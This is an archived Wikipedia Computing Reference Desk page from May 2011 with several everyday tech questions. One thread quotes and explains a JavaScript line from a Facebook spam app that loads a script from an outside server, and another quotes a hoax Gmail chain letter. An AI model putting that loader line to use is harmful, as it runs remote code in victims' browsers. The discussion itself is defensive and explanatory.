Wikipedia:Reference desk/Archives/Computing/2011 May 3

Computing desk
< May 2 << Apr | May | Jun >> May 4 >
Welcome to the Wikipedia Computing Reference Desk Archives
The page you are currently viewing is an archive page. While you can leave answers for any questions shown below, please ask new questions on one of the current reference desk pages.


May 3

edit

Let's go right to the end of the story...

edit

How do I list the last few lines of a huge text file (say a GB), without my comp grinding to a halt ? I'm on Windows XP SP3. StuRat (talk) 00:22, 3 May 2011 (UTC)[reply]

Install Cygwin, and use the "tail" command. The first step, admittedly, is a bit of a barrier, and there's likely a way that doesn't require it. The thing is, though, that once you install Cygwin, you have all sorts of useful Unix commands available, to deal with just these sorts of questions. --Trovatore (talk) 00:37, 3 May 2011 (UTC)[reply]
(edit conflict) You could do this with the tail command, just download it from here (this version doesn't need Cygwin) as part of the pack for GNU utilities ported to Win32 and then run it from a command prompt with tail filename to show the last 10 lines and tail --help for other options.  ZX81  talk 00:39, 3 May 2011 (UTC)[reply]
less (which, like tail has unix origins but is also available on Windows) is great at handling really large files, including allowing you to search through them and move back and forward. Just less foo.txt and hit G to move to the end. -- Finlay McWalterTalk 00:49, 3 May 2011 (UTC)[reply]
It doesn't appear to be available in my Windows XP SP3. StuRat (talk) 00:53, 3 May 2011 (UTC)[reply]
[1] -- Finlay McWalterTalk 00:57, 3 May 2011 (UTC)[reply]
Sometimes, more is less. The more command is available on Windows, and takes an argument +n, where n is a line number. Using the fc and find commands, you could try to figure out the last line number and tell more to display the file beginning at this line number (minus 1, 2 or whatever, since you said you wanted to view the last few lines). -- 78.43.60.13 (talk) 11:10, 3 May 2011 (UTC)[reply]
If Windows more functions as you describe, it will need to read the entire file in order to get to the end. For a very large file, this will take a long time. less will fseek to the end of a very large file, and so jumping to the end takes no time at all. -- Finlay McWalterTalk 20:47, 3 May 2011 (UTC)[reply]
The freeware Metapad editor http://liquidninja.com/metapad/ is said (in its full not "LE" version) to be able to handle any size of file. So load the file, then type Cntrl-End. TED Notepad is another useful editor, perhaps someone could combine the two. 92.15.10.74 (talk) 11:19, 3 May 2011 (UTC)[reply]
Of course, it is possible to avoid installing Cygwin and using the utilities provided by it. The original requirement is easily established with a simple ANSI C program, which will work just as well on Windows as it will on Unix. But of course there's the issue that it requires C programming skills, which not all computer users (whether on Windows or on Unix) have. JIP | Talk 19:44, 4 May 2011 (UTC)[reply]
Yes, I could write a program to do what the OP wants in about 5 minutes. Bubba73 You talkin' to me? 01:34, 8 May 2011 (UTC)[reply]

Need help figuring out what a facebook spam app does

edit

Hey. There is an app on facebook which I suspect is spam for various reasons. One of which is that it gives you a set of instructions which lead you to paste and exectute this in your address bar:

javascript:(a=(b=document).createElement('script')).src='//dottot.info/os/d.php?'+Math.random(),b.body.appendChild(a);void(0)

the url: dottot.info/os/d.php appears to just have this source:

<script>window.top.location = 'http://www.redirect.am/?http://www.facebook.com';</script>

Which seems pretty same. But I don't quite understand what the math.random is for, and the append child part.

This is strictly for my own person entertainment and information. Thanks! Chris M. (talk) 02:50, 3 May 2011 (UTC)[reply]

IMVHO CreateElement() invoked on the document just creates a script element, but does not make it the document's part, and the call of appendChild performs that. Then the element gets rendered as a document body part, which results in executing the script and invoking d.php script.
Appending the random number prevents cacheing the document, i.e. it forces downloading it. This may serve two purposes: the dottot.info server gets informed about each computer affected by this script, and it can send different contents on each invocation.
Last but not least you don't know (I suppose) what the redirect.am server actually does. Don't blindly belive it name! Even if it eventually redirects the user back to facebook, it may not be 'pretty same' to get to facebook directly or through unknown 'redirect' system.
CiaPan (talk) 16:57, 3 May 2011 (UTC)[reply]
What it is doing is linking to Facebook while hiding who they are from Facebook. The javascript forces a load of the second script. The random ensures that it won't be pulled from cache. Instead, it is loaded fresh from the dottot server. Then, it reloads the main window with Facebook by going through a redirect page. -- kainaw 17:41, 3 May 2011 (UTC)[reply]

Windows Task Manager

edit

In Windows XP SP3, on the Performance tab in the Task Manager, the CPU usage chart has red and green lines. And, of course, they prefer to leave a large blank spot in the lower right corner where the legend would normally go. So, what do red and green represent (other than Xmas) ? StuRat (talk) 03:28, 3 May 2011 (UTC)[reply]

The green represents CPU usage, the red line is the Kernal times (whatever that is, perhaps someone can enlighten us). You can disable the red line in View-Show Kernal Times. General Rommel (talk) 04:42, 3 May 2011 (UTC)[reply]
There might be some enlightenment in Kernel (computing) (note spelling). AndrewWTaylor (talk) 08:23, 3 May 2011 (UTC)[reply]

Laptop Crashing

edit

For the second time this month my laptop has crashed in a strange way. Both times I was watching video clips embedded in websites. This time I was watching a news summary on the BBC news website. I'm using Google Chrome to access the internet. When it crashes, the screen goes black, and the sound starts to skip and repeat the last sound before it crashed. It's hard to explain. It's a very, very fast repetition of the last millisecond's worth of sound. Both times the crash happened when I moved the mouse to click on another link. Once the screen's gone black and the audio is doing its skipping repetition, after about five seconds, the computer restarts itself. When it comes on it asks which recovery mode I want, i.e. normal or safety. Then it tells me that Windows recovered from an unexpected shut down. I've got Windows 7, the laptop is only four months old. Any suggestions what it might be, and what action to take? Fly by Night (talk) 15:01, 3 May 2011 (UTC)[reply]

Those are symptoms I associate with "trying to play too much video on too little computer". That is, the graphics card, RAM, processor speed, etc., aren't up to the resolution and frame rate you are trying to view. If they have an option to watch a smaller video with fewer frames per second, try that. Also, rebooting and/or killing all other applications and tabs on your browser may free up more resources for when you play video. Try lowering the screen resolution (in addition to the video resolution), too. Anti-virus scans, update checks, and other things (which insist on running in the middle of your video viewing) might also be a problem. StuRat (talk) 20:59, 3 May 2011 (UTC)[reply]
Wikipedia:Reference desk/Archives/Computing/2010 October 28#Audio playback skipping when a program crashes explains the repeating audio. -- BenRG (talk) 21:01, 3 May 2011 (UTC)[reply]
It's not that StuRat. The processor is an Intel i5, I've got a 1 GB dedicated Nvidia GPU, and 4 GB DDR3 RAM. It's a relatively high end laptop designed for gaming. It was, like I said, a video clip on a news website. Those videos are playable on a mobile phone. Fly by Night (talk) 20:00, 4 May 2011 (UTC)[reply]
OK, in that case, my next guess is that it's sharing a core with other processes which have a higher priority. Assuming you have a multi-core computer, perhaps you can use processor affinity to place it on it's own core and/or raise it's priority/lower priority on competing processes. StuRat (talk) 05:30, 5 May 2011 (UTC)[reply]

I'm trying to write a greasemonkey userscript that will remove "#!" from urls. The following doesn't work and causes the browser to crash:

location.href = window.location.href.replace('#!', '');

What is wrong? 82.43.89.63 (talk) 18:16, 3 May 2011 (UTC)[reply]

When you assign a value to location.href, the browser will immediately load the new URL. Perhaps the greasemonkey script restarts every time a new URL is loaded and you've created an infinite loop.
You might use indexOf to test if the address actually contains #!, then only change it if needed. (indexOf returns -1 if the string isn't found.)
h = window.location.href;
if(h.indexOf("#!") >= 0)
{
  location.href = h.replace("#!","");
}
--Bavi H (talk) 02:05, 4 May 2011 (UTC)[reply]

Civilization V

edit

Does anyone have any experience using the Civilization V World Builder? If so, then please let me know. I need some help. I've spent all day making a custom map, with custom cities and custom units. I've put the player starting points on the map too. But when I play the game it put settlers and unit in the wrong places; even on adjacent squares! The game ends in seven moves because they all attack their neighbours and wipe each other out. If you have any experience then please leave a note on my user talk page. Thanks. Fly by Night (talk) 21:01, 3 May 2011 (UTC)[reply]

You might have better luck at Wikipedia's Entertainment Reference desk instead:Wikipedia:Reference_desk/Entertainment --Thebackofmymind (talk) 21:44, 5 May 2011 (UTC)[reply]

Strange email

edit

I received an email that said:

 Dear Gmail users:

 Over the past few weeks, you may have noticed that Gmail's system has
 been getting slower. This is due to the increasing number of Gmail
 accounts. Since this occurrence, we have decided to delete accounts


 that are no longer in use. We will determine who's account is deleted
 depending on if you forward this message. If you would like to keep
 your account, then please send this to all of your contacts to let us


 know that your account is still in use. If this message is not sent to
 other accounts, your account will become invalid and your email may be
 taken by another loyal user. We are sorry if this may cause any
 inconvenience.



 Sincerely,

 Paul Buchheit (Creater of  Gmail)

from the email address sydnor.andre@gmail.com I was about to forward this to all my contacts but then I thought about the recent spam and phishing scams and I thought it might just be someone playing a prank. Is this real? Thanks. 72.128.95.0 (talk) 21:19, 3 May 2011 (UTC)[reply]

You should never forward anything to all your contacts.--Shantavira|feed me 07:47, 4 May 2011 (UTC)[reply]
updated contact information (especially a new e-mail); proud announcement of and invitation to join the Internet platform you just spent $10,000,000 of your venture capitalists' money on; notice of your untimely demise (by your estate), etc etc. lots of times to forward something to all your contacts. 188.156.59.141 (talk) 04:56, 7 May 2011 (UTC)[reply]